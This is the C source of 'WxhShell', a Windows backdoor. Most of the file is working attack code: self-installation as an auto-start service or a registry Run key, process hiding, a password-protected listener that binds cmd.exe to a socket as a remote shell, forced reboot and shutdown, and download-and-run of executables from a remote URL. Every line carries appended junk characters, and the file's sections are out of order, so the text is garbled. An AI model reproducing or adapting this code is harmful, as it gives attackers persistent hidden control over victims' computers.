    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '%. lY9D  
    if(Boot(SHUTDOWN)) !}9k @=[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I%h9V([  
    else { l-Xxur5M'  
    closesocket(wsh); `jSxq66L p  
    ExitThread(0); `9(TqcE  
    } +w?RW^:Q=  
    break; 9F(<n  
    } VuN= JX  
  // 获取shell yxf|Njo0  
  case 's': { ^*C8BzcH  
    CmdShell(wsh); exiCy 1[+  
    closesocket(wsh); ' &^:@V  
    ExitThread(0); Eyxw.,rB/  
    break; K=;z&E=<c  
  } a-MDZT<xA+  
  // 退出 5)wz`OS  
  case 'x': { w6F4o;<PR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q=M!YWz  
    CloseIt(wsh); S#/[>Cb  
    break; ^cz #PNB  
    } * 8CI'UX  
  // 离开 G +o)s  
  case 'q': { P 5yS`v$@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <T>C}DGw  
    closesocket(wsh); 7H:1c=U  
    WSACleanup(); I0h/x5  
    exit(1); XkHO=  
    break; oP$NTy[  
        } C_rlbl;T  
  } _8vq]|rC  
  } *)gbKXb  
N?eWf +C  
  // 提示信息 JK4vQWy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _Y4%Fv>@  
} t4R=$ km  
  } aze}ko NE  
Ms ;:+JI  
  return; Z 7rVM   
} C:\BvPoO  
~e~iCyW;S  
// shell模块句柄 )@Fuw*  
int CmdShell(SOCKET sock) 8%S5Fc #am  
{ tY-{uHW&h  
STARTUPINFO si; 56;lB$)"  
ZeroMemory(&si,sizeof(si)); Cb~_{$A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  /~yk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v@_b"w_TY  
PROCESS_INFORMATION ProcessInfo; p&/}0eL y  
char cmdline[]="cmd"; Zg "g/I.+d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7%) F]  
  return 0; ~4S@kYe{3K  
} v_3r8My-  
GD<xmuo  
// 自身启动模式 &k*sxW'  
int StartFromService(void) wWB-P6  
{ yANk(  
typedef struct ~W p>tnl  
{ Oz<{B]pEul  
  DWORD ExitStatus; ^  ry   
  DWORD PebBaseAddress;  w~wpm7  
  DWORD AffinityMask; n@<+D`[.V  
  DWORD BasePriority; FO#`}? R`  
  ULONG UniqueProcessId; V`sINX  
  ULONG InheritedFromUniqueProcessId; ;^za/h>r  
}   PROCESS_BASIC_INFORMATION; DUUQz:?{J  
>0z(+}]3z  
PROCNTQSIP NtQueryInformationProcess; e~w-v"'  
7SOi9JU_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r)UtS4 7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _yw]Cacr\  
Ea#wtow|-  
  HANDLE             hProcess; [LDsn]{  
  PROCESS_BASIC_INFORMATION pbi; 7t &KKKV  
Hg(%g T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0\*[7!`s  
  if(NULL == hInst ) return 0; sDA&U9;  
.\K0+b;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MwMv[];I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^}vLZA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~jWG U-m  
c@!%.# |y  
  if (!NtQueryInformationProcess) return 0; ltRvNXx+]  
[(Ss^?AJW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FMMQO,BU  
  if(!hProcess) return 0; .G8+D%%.  
ANh7`AUuO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wPdp!h7B~N  
[9dW9[Z+!  
  CloseHandle(hProcess); ,$BbJQ5  
O}5mDx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {}!`v%z  
if(hProcess==NULL) return 0; &Jw]3U5J  
-8H0f- 1  
HMODULE hMod; (`<X9w,  
char procName[255]; f'._{"  
unsigned long cbNeeded; w ryjs!  
M|IR7OtLV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VX#4Gh,~N  
faH113nc  
  CloseHandle(hProcess); fR[kjwX)<1  
 n aE;f)  
if(strstr(procName,"services")) return 1; // 以服务启动 sTeW4Hnp  
!jZXh1g%  
  return 0; // 注册表启动 B=?4; l7  
} $*a'[Qot#  
80=6B  
// 主模块 (ns> z7  
int StartWxhshell(LPSTR lpCmdLine) do0;"O0 (  
{ |]FJfMX  
  SOCKET wsl; pV`?=[h9  
BOOL val=TRUE; >~C*m `#  
  int port=0; NbG`v@yH  
  struct sockaddr_in door; \0. c_  
F#d`nZ=M  
  if(wscfg.ws_autoins) Install(); X 633.]+  
!##OQ  
port=atoi(lpCmdLine); 7&-i :2  
Ps=OL\i  
if(port<=0) port=wscfg.ws_port; B+W 4r9#  
cVCylR U"  
  WSADATA data; ON"F h'?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8:s" ^YLN  
mc37Y.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b3Nr>(Z<}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5k/Y7+*?E  
  door.sin_family = AF_INET; qRy<W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T#&tf^;  
  door.sin_port = htons(port); yKSvg5lLy  
3!]S8Y*LQP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 24;F~y8H  
closesocket(wsl); x%<oeM3U  
return 1; ?&v+-4%4PI  
} 0V:7pSC{P  
F/1B>2$`  
  if(listen(wsl,2) == INVALID_SOCKET) { J~dk4D\  
closesocket(wsl); lI#Ap2@  
return 1; iBlZw%zKP  
} G+Gd ;`4  
  Wxhshell(wsl); -n.ltgW@   
  WSACleanup(); u!wR  
9a4Xf%!F>z  
return 0; w'uI~t4  
=/_tQR~  
} #|\w\MJamP  
Qe8F(k~k  
// 以NT服务方式启动 )8ub1,C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x""gZzJ$L  
{ )q xZHV  
DWORD   status = 0; i n}N[  
  DWORD   specificError = 0xfffffff; `` !BE"yN  
aB@D-Y"HO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {{'GR"D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =Yd{PZ*fR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !2]eVO  
  serviceStatus.dwWin32ExitCode     = 0; df@r2 /Y  
  serviceStatus.dwServiceSpecificExitCode = 0; 6[cC1a3r:  
  serviceStatus.dwCheckPoint       = 0; vd0;33$L  
  serviceStatus.dwWaitHint       = 0; ShFC@)<lJ  
7;]n+QRfm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i{1SUx+Re  
  if (hServiceStatusHandle==0) return; sw:o3cC]  
WKjE^u  
status = GetLastError(); d5aG6/  
  if (status!=NO_ERROR) ){'Ef_/R  
{ @D:$~4ks  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0M[O(.x  
    serviceStatus.dwCheckPoint       = 0; 70sb{)  
    serviceStatus.dwWaitHint       = 0; %5) 1^  
    serviceStatus.dwWin32ExitCode     = status; ;S,k U{F  
    serviceStatus.dwServiceSpecificExitCode = specificError; {& Pk$Q!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #ZFedK0vv  
    return; 55aJ =T  
  } ZjCT * qx  
iA=QK u!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I.V?O}   
  serviceStatus.dwCheckPoint       = 0; k5s8s@  
  serviceStatus.dwWaitHint       = 0; a!OS2Tz:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K chp%  
} ?ykQ]r6a<  
wOfx7D  
// 处理NT服务事件,比如:启动、停止 6xDYEvHS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oRJ!J-Z]  
{ |s<IZ2z]}R  
switch(fdwControl) soSdlV{  
{ vUlGE  
case SERVICE_CONTROL_STOP: PAYbsn  
  serviceStatus.dwWin32ExitCode = 0; D/& 8[Z/Cn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >gQJ6q  
  serviceStatus.dwCheckPoint   = 0; }@+3QHwYU  
  serviceStatus.dwWaitHint     = 0; N*vBu `  
  { ]Tv0+ Ao  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S!\4,6  
  } ^T^l3B[  
  return; -> $]`h"  
case SERVICE_CONTROL_PAUSE: }(*eRF'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gd#j{yI/Xf  
  break; dp&8:jy  
case SERVICE_CONTROL_CONTINUE: 0[\^Y<ec  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H]^hEQ3DT  
  break; Q~p)@[q  
case SERVICE_CONTROL_INTERROGATE: 25:[VH$:4  
  break; T4 :UJj}  
}; )9oF?l^q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tBJCfM  
} H8$l }pOz  
CxvL!ew  
// 标准应用程序主函数 PT t#Ixn,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @e`%'  
{ REEs}88);'  
FabDK :  
// 获取操作系统版本 D9hV`fA  
OsIsNt=GetOsVer(); %MA o<,ha  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wW. V>$q  
1=*QMEv1G  
  // 从命令行安装 ]2Vu+AP  
  if(strpbrk(lpCmdLine,"iI")) Install(); %A]?5J)Bi  
E.ugr])  
  // 下载执行文件 bSG}I|  
if(wscfg.ws_downexe) { //x^[fkNq)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f1Az|h  
  WinExec(wscfg.ws_filenam,SW_HIDE); m'j]T/WF  
} fu=GgD*  
<%_7%  
if(!OsIsNt) { D@O#P^?  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?2RDd|#  
HideProc(); G}|!Jdr  
StartWxhshell(lpCmdLine); As5*)o"&  
} ||xiKg  
else C[4{\3\Va  
  if(StartFromService()) SC Qr/Q  
  // 以服务方式启动 [osIQ!u;:  
  StartServiceCtrlDispatcher(DispatchTable); eNQQ`ll@m  
else ~g#$'dS  
  // 普通方式启动 >EacXPt-O  
  StartWxhshell(lpCmdLine); &1!T@^56  
BXzn-S  
return 0; Bv=  
} x/<eY<Vgm?  
-2D/RE7|  
GBh$nVn$  
nfj8z@!  
=========================================== -za+Wa`vH  
<~d3L4h*<  
B IW?/^  
y TbOBl  
lR<1x  
[|5gw3 y  
" >'/KOK"  
o(gEyK  
#include <stdio.h> \ #yKCA';  
#include <string.h> s%6{X48vY^  
#include <windows.h> L  `\>_  
#include <winsock2.h> (=jztIZ C  
#include <winsvc.h> 9"g!J|+  
#include <urlmon.h> (yr<B_Y'MY  
O ,9,= 2j  
#pragma comment (lib, "Ws2_32.lib") y E; n. L  
#pragma comment (lib, "urlmon.lib") f4mQDRlD  
aSGZF w  
#define MAX_USER   100 // 最大客户端连接数 N I*x):bx  
#define BUF_SOCK   200 // sock buffer yPn!1=-(  
#define KEY_BUFF   255 // 输入 buffer B$\,l.h E  
6r]l8*3 4;  
#define REBOOT     0   // 重启 u&E$(  
#define SHUTDOWN   1   // 关机 :j<ij]rsI  
Ic<J]+Xq  
#define DEF_PORT   5000 // 监听端口 D#.N)@\  
F%-KY$%  
#define REG_LEN     16   // 注册表键长度 iXgy/>qgT  
#define SVC_LEN     80   // NT服务名长度 e`7dRnx&0  
*WQl#JAr  
// 从dll定义API K/;*.u`:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MEI.wJZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,UveH` n-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aAi "  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ((AsZ$[S  
bTd94  
// wxhshell配置信息 ,B'n0AO/'  
struct WSCFG { *7JsmN?  
  int ws_port;         // 监听端口 -(;<Q_'s{"  
  char ws_passstr[REG_LEN]; // 口令 ; *ZiH%q,  
  int ws_autoins;       // 安装标记, 1=yes 0=no n N_Ylw  
  char ws_regname[REG_LEN]; // 注册表键名 -50 Nd=1  
  char ws_svcname[REG_LEN]; // 服务名 fZ6-ap,u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QnZ7e#@UP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l&2pUv=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yGs:3KI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |<aF)S4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g'pB<?'E'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S9;:)  
9aa cW  
}; 6?(Z f  
N t-8[J  
// default Wxhshell configuration Y+ Qm.  
struct WSCFG wscfg={DEF_PORT, 4k]DktY}.  
    "xuhuanlingzhe", V."qxKsz  
    1, qt.Y6s:r_  
    "Wxhshell", gP^p7aYwn  
    "Wxhshell", .S6u{B  
            "WxhShell Service", /ygC_,mx  
    "Wrsky Windows CmdShell Service", y88lkV4a  
    "Please Input Your Password: ", 9x]yu6  
  1, a*N<gId  
  "http://www.wrsky.com/wxhshell.exe", {0IC2jE  
  "Wxhshell.exe" xE"QX N  
    }; :9.QhY)D  
uJ:SN;  
// 消息定义模块 },& =r= B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B s{n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SmMJ%lgA6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 713)D4y}  
char *msg_ws_ext="\n\rExit."; ixjhZki<  
char *msg_ws_end="\n\rQuit."; FG{45/0We  
char *msg_ws_boot="\n\rReboot...";  F<Y>  
char *msg_ws_poff="\n\rShutdown..."; 8j^3_lD  
char *msg_ws_down="\n\rSave to "; mW 4{*  
Cu,#w3JR  
char *msg_ws_err="\n\rErr!"; na0-v-  
char *msg_ws_ok="\n\rOK!"; pN-c9n4#j  
 x#hGJT  
char ExeFile[MAX_PATH]; dFw>SYrpu  
int nUser = 0; 6<`tb)_2~  
HANDLE handles[MAX_USER]; VM"z6@  
int OsIsNt; ^;DbIo\6H  
=JM !`[  
SERVICE_STATUS       serviceStatus; s6HfN'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WW.amv/[a  
>=VtL4K^  
// 函数声明 VYAz0H1-_  
int Install(void); a(|,KWHn  
int Uninstall(void); 92pl#Igt  
int DownloadFile(char *sURL, SOCKET wsh); qCUn. mI  
int Boot(int flag); F8En )#  
void HideProc(void); rd0[(-  
int GetOsVer(void); t)n}S;iD  
int Wxhshell(SOCKET wsl); [Fo" MeH?R  
void TalkWithClient(void *cs); sR*.i?lN  
int CmdShell(SOCKET sock); w"/RI#7.  
int StartFromService(void); 24 L =v  
int StartWxhshell(LPSTR lpCmdLine); ,f3Ck*M  
=(\xe| Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ](tv`1A,Wd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O~L/>Ya  
iI@m e=  
// 数据结构和表定义 {T(z@0Xu  
SERVICE_TABLE_ENTRY DispatchTable[] = "<^]d~a_  
{ JQde I+  
{wscfg.ws_svcname, NTServiceMain}, okSCM#&:[2  
{NULL, NULL} jv5Os-  
}; jC3)^E@:"  
8r-'m%l  
// 自我安装 s<`54o ,  
int Install(void) nLjc.Z\Bl  
{ .`5BgX7W  
  char svExeFile[MAX_PATH]; 4.o[:5'  
  HKEY key; z&W5@6")`  
  strcpy(svExeFile,ExeFile); o0`|r+E\  
k,M %"FLQ  
// 如果是win9x系统,修改注册表设为自启动 =3R5m>6!/  
if(!OsIsNt) { f!D~aJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'du{ky  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |`c=`xK7'  
  RegCloseKey(key); n>##,o|Vr#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NUjo5.7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \Bg?QhA_D  
  RegCloseKey(key);  `xm4?6  
  return 0; j?gsc Q3  
    } Q4!6|%n8v  
  } vb1Gz]~)>  
} [;*Vm0>t  
else { =j$!N# L  
%Tvy|L ,  
// 如果是NT以上系统,安装为系统服务  ET:B"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !ZC0n`  
if (schSCManager!=0) t w?\bB  
{ ")?NCun>  
  SC_HANDLE schService = CreateService LI/;`Y=  
  ( gZ&' J\  
  schSCManager, C?47v4n-'  
  wscfg.ws_svcname, ,^d!K(xb  
  wscfg.ws_svcdisp, M>kk"tyM  
  SERVICE_ALL_ACCESS, }ki}J>j|f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d%C :%d  
  SERVICE_AUTO_START, *]]C.t-cd  
  SERVICE_ERROR_NORMAL, ;+W9EbY2  
  svExeFile, gyx4='Q  
  NULL, :4'Fq;%C  
  NULL, D/7hVwMw:  
  NULL, JAA{5@ST  
  NULL, 1p]Z9$Y  
  NULL IP e"9xb  
  ); wg0hm#X  
  if (schService!=0) Dw-i!dq  
  { 6*Y>Y&sea  
  CloseServiceHandle(schService); Ohe* m[  
  CloseServiceHandle(schSCManager); WG\gf\=I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V {H/>>k7  
  strcat(svExeFile,wscfg.ws_svcname); [WxRwE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #'?gMVSk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]Y%U5\$  
  RegCloseKey(key); ujMics(  
  return 0; UC{Tmf  
    } cy+EJq I  
  } leMcY6  
  CloseServiceHandle(schSCManager); -g`3;1EV^  
} Z-wvdw]$  
} ZZJXd+Q}  
0*-nVC1  
return 1; RxZ#`$F  
} ))z1T8  
$hM>%u  
// 自我卸载 n;+e(ob;;  
int Uninstall(void) XnCrxj  
{ #vnJJ#uI|>  
  HKEY key; |Vq&IfP  
3$hbb6N%6.  
if(!OsIsNt) { k=o>DaEh(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ""2g{!~r  
  RegDeleteValue(key,wscfg.ws_regname); fL7u419=  
  RegCloseKey(key); }G50?"^u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (K>=!&tlp=  
  RegDeleteValue(key,wscfg.ws_regname); yxpDQ O~x  
  RegCloseKey(key); 7vf?#^ RlV  
  return 0; N)rf /E0  
  } IC:wof "  
} $*Z Zh  
} mhXSbo9w-  
else { ygz6 ~(  
Q#$#VT!F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qp6*v&  
if (schSCManager!=0) *gxo! F}  
{ pPX~pPIj2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); = e>#oPH  
  if (schService!=0) XA%a7Xtni  
  { ED kxRfY2/  
  if(DeleteService(schService)!=0) { z%pD3J?>  
  CloseServiceHandle(schService); 9^5D28y  
  CloseServiceHandle(schSCManager); aTx*6;-PH  
  return 0; `AO<r  
  } /j0zb&  
  CloseServiceHandle(schService); zJJ6"9sl  
  } :y!%GJW  
  CloseServiceHandle(schSCManager); ]|y]?7  
} tg X},OU^  
} H^e0fm  
kQY+D1  
return 1; E*F)jP,yo  
} 4\6-sL?rW  
n!*uv~%$  
// 从指定url下载文件 Q4&|^RLLG  
int DownloadFile(char *sURL, SOCKET wsh)  t=;84lA  
{ X%>Sio  
  HRESULT hr; ~il{6Z+#n  
char seps[]= "/"; ~^GY(J'  
char *token; ?(!<m'jEy  
char *file; 5r$ X  
char myURL[MAX_PATH]; xa?#wY b  
char myFILE[MAX_PATH]; .PhH|jrCW^  
-#nfO*H}  
strcpy(myURL,sURL); ERE1XOe=D  
  token=strtok(myURL,seps); [v!TQwMU  
  while(token!=NULL) u VZouw#  
  { i(k]}Di:  
    file=token; 8sV_@<l<X  
  token=strtok(NULL,seps); aeBA`ry"B  
  } l6C^,xU~IX  
$j\UD8Hj'-  
GetCurrentDirectory(MAX_PATH,myFILE); ~GWn>  
strcat(myFILE, "\\"); h6Vm;{ ~  
strcat(myFILE, file); <%2A, Vz"  
  send(wsh,myFILE,strlen(myFILE),0); EpO5 _T_  
send(wsh,"...",3,0); t#0/_tD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dK45&JHoW^  
  if(hr==S_OK) q Pc"A!-i  
return 0; B:pIzCP  
else (xJZeY)-b^  
return 1; E|aPkq]  
1M4I7 *r  
} ]757oAXl  
nv9kl Q@  
// 系统电源模块 ;BR`}~m  
int Boot(int flag) sPee" 9%,  
{ $:bU<  
  HANDLE hToken; SgOn:xg;3L  
  TOKEN_PRIVILEGES tkp; o~*5FN}%+l  
'Si 1r%'m#  
  if(OsIsNt) { :.+?v*%;n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aFj)s?$4]K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BK_x5mGu3  
    tkp.PrivilegeCount = 1; +Y^_1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (v\Cv)OS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \(C_t1  
if(flag==REBOOT) { ]/p)XHKo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p$5+^x'(  
  return 0; r`THOj\cM  
} j|u6TG  
else { NTHy!y<!h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Use`E  
  return 0; Nz ,8NM]  
} +U%U3tAvs  
  } H@uCbT  
  else { u,d@ oF(=  
if(flag==REBOOT) { za ix_mR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zlh}8Es  
  return 0; m,~ @1  
} `z=I}6){  
else { ml|[x M8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AU@XpaPWh  
  return 0; 2#n4t2 p  
} [S}o[v\  
} e6n^l $'  
_%)v9}D  
return 1; %#.H FK  
} !~{AF|2f  
.Jt&6N  
// win9x进程隐藏模块 =Of!1TR(  
void HideProc(void) WheJ 7~  
{ b ;Vy=f  
$?l?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ba$Ibq,r/  
  if ( hKernel != NULL ) 5"Ibm D>D  
  { XeaO,P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  !,*#e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .Q pqbp 8  
    FreeLibrary(hKernel); u"%i3%Yjh  
  } "e4hPY#  
r$~w3yN)v  
return; x}.Q9L  
} s^nwF>  
MSm vQ  
// 获取操作系统版本 J^@0Ff;=5^  
int GetOsVer(void) EV:y}  
{ ("t; 2Mw  
  OSVERSIONINFO winfo; $lj1924?^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u3 mTsq!  
  GetVersionEx(&winfo); o9!DK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UGy~Ecv  
  return 1; vG'JMzAm  
  else g+ik`q(ge  
  return 0; v'C`;I  
} !O=J8;oLk  
Wmp,,H  
// 客户端句柄模块 FDB^JH9d  
int Wxhshell(SOCKET wsl) nj*B-M\p  
{ H1PW/AW  
  SOCKET wsh; Z6}B}5@y  
  struct sockaddr_in client; !s;+6Sy  
  DWORD myID; {*8'bNJ  
! K~PH  
  while(nUser<MAX_USER) V  `KXfY  
{ =OIx G}*  
  int nSize=sizeof(client); 7XE/bhe%S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "}i\" x;s  
  if(wsh==INVALID_SOCKET) return 1; 8J:6uO c|  
m8Q6ESg<*u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d jeax  
if(handles[nUser]==0) c~0YIk>]  
  closesocket(wsh); :^DuB_  
else ellj/u61bj  
  nUser++; V4GcW|P4y  
  } T jO}P\p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s4 o-*1R*`  
bJD2c\qoc  
  return 0; X[:&p|g]  
} S~+}_$  
k`W.tMo  
// 关闭 socket }LNpr  
void CloseIt(SOCKET wsh) Vcg$H8m  
{ gqaENU>  
closesocket(wsh); P`HE3?r  
nUser--; -Cxk#-sb#  
ExitThread(0); n&=3Knbd@d  
} lvi~GZ  
!<3(+H  
// 客户端请求句柄 NZ `( d  
void TalkWithClient(void *cs) d%Zt]1$  
{ 7d?'~}j  
w!7f*  
  SOCKET wsh=(SOCKET)cs; ?]}1FP  
  char pwd[SVC_LEN]; xBhfC!AK}  
  char cmd[KEY_BUFF]; @ oE [!  
char chr[1]; 9l?#ZuGXp  
int i,j; O $uXQ.r  
B:=*lU.n  
  while (nUser < MAX_USER) { . gK*Jpmx  
s@C@q(i6  
if(wscfg.ws_passstr) { i,BE]w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F>,kKR-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z 4uft  
  //ZeroMemory(pwd,KEY_BUFF); $ u`y  
      i=0; zq g4@" p  
  while(i<SVC_LEN) { w%Tcx^:  
95;q ] =U  
  // 设置超时 | 1H"ya  
  fd_set FdRead; Kw}-<y  
  struct timeval TimeOut; 4,kT4_&,  
  FD_ZERO(&FdRead); 08&DP^NS  
  FD_SET(wsh,&FdRead); 'G3B02*  
  TimeOut.tv_sec=8; )/h~csy:~  
  TimeOut.tv_usec=0; $D8eCjUm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \D] N*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @cNX\$J  
]R/VE"-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6X5`npf  
  pwd=chr[0]; Hd6g0  
  if(chr[0]==0xd || chr[0]==0xa) { 5QU7!jb I  
  pwd=0; 2E^zQ>;01  
  break; 3k;*xjv6@  
  } m]J Z@  
  i++; k/W$)b:Of`  
    } 6;U]l.  
4f<%<Z  
  // 如果是非法用户,关闭 socket \3(d$_:b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +]/_gz  
} 5An| #^]  
MzRURH,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @2-Eky  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CRvUD.D  
$[iSZ;  
while(1) { #uJGXrGt=  
Ob2H7 !  
  ZeroMemory(cmd,KEY_BUFF); #L.fGTb  
%zQME6WELz  
      // 自动支持客户端 telnet标准   MK 7S*N1  
  j=0; IB:Wh;_x  
  while(j<KEY_BUFF) { pb_+_(/c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TOV531   
  cmd[j]=chr[0]; >}h/$bU  
  if(chr[0]==0xa || chr[0]==0xd) { ,JyE7h2%i  
  cmd[j]=0; Rm 1obP  
  break; %iY-}uhO  
  } 09`5<9/  
  j++; DYJ@>8  
    } J]5 sWs  
EO$_]0yI;_  
  // 下载文件 $;Lb|~  
  if(strstr(cmd,"http://")) { Lz2 AWqR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &*RJh'o|N(  
  if(DownloadFile(cmd,wsh)) =YkJS%)M)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ 'rk[S}A  
  else 2`/JT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wy"^a45h  
  } D+d\<":  
